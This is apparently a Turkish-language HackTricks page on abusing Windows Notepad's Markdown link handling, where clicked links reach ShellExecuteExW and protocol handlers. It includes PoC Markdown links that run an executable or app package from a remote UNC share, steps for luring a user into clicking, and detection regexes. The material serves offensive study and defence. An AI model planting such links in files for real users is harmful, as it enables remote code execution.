Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Modern Windows uygulamaları Markdown/HTML render ederken genellikle kullanıcı tarafından sağlanan linkleri tıklanabilir öğelere dönüştürür ve bunları ShellExecuteExW’ye verir. Şema beyazlistesi sıkı tutulmazsa, kayıtlı herhangi bir protocol handler (ör. file:, ms-appinstaller:) tetiklenebilir ve mevcut kullanıcı bağlamında kod yürütülmesine yol açabilir.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad Markdown modunu yalnızca
.mduzantıları içinsub_1400ED5D0()içindeki sabit bir string karşılaştırmasıyla seçer. - Desteklenen Markdown linkleri:
- Standard:
[text](target) - Autolink:
<target>(render edilince[target](target)olur), bu yüzden her iki sözdizimi de payloads ve tespitler açısından önemlidir. - Link tıklamaları
sub_140170F60()içinde işlenir; bu fonksiyon zayıf filtreleme yapar ve sonraShellExecuteExW’yi çağırır. ShellExecuteExWyalnızca HTTP(S) ile sınırlı olmaksızın yapılandırılmış herhangi bir protocol handler’a yönlendirir.
Payload ile ilgili hususlar
- Linkteki herhangi bir
\\dizisiShellExecuteExWçağrılmadan önce\olarak normalize edilir, bu durum UNC/path oluşturma ve tespiti etkiler. .mddosyaları varsayılan olarak Notepad ile ilişkilendirilmemiştir; hedef yine dosyayı Notepad’te açıp linke tıklamalıdır, ancak bir kez render edildikten sonra link tıklanabilir hale gelir.- Tehlikeli örnek şemalar:
file://yerel/UNC payload başlatmak için.ms-appinstaller://App Installer akışlarını tetiklemek için. Yerel olarak kayıtlı diğer şemalar da kötüye kullanılabilir.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
İstismar akışı
- Notepad’in bunu Markdown olarak görüntülemesi için bir
.mddosyası oluşturun. - Tehlikeli bir URI şeması kullanarak (
file:,ms-appinstaller:, veya yüklü herhangi bir işleyici) bir bağlantı gömün. - Dosyayı (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB veya benzeri) iletin ve kullanıcıyı bunu Notepad’te açmaya ikna edin.
- Tıklama ile normalleştirilmiş bağlantı
ShellExecuteExW’ye iletilir ve ilgili protokol işleyicisi referans verilen içeriği kullanıcının bağlamında çalıştırır.
Tespit fikirleri
- Belgeleri yaygın olarak taşıyan portlar/protokoller üzerinden
.mddosyası transferlerini izleyin:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Markdown bağlantılarını (standart ve autolink) ayrıştırın ve büyük/küçük harfe duyarsız
file:veyams-appinstaller:arayın. - Uzak kaynak erişimini yakalamak için vendor tarafından önerilen regex’ler:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Yamanın davranışı bildirildiğine göre allowlists local files and HTTP(S);
ShellExecuteExW’ye ulaşan diğer her şey şüphelidir. Saldırı yüzeyi sisteme göre değiştiği için tespitleri gerektiğinde diğer yüklü protokol işleyicilerine genişletin.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


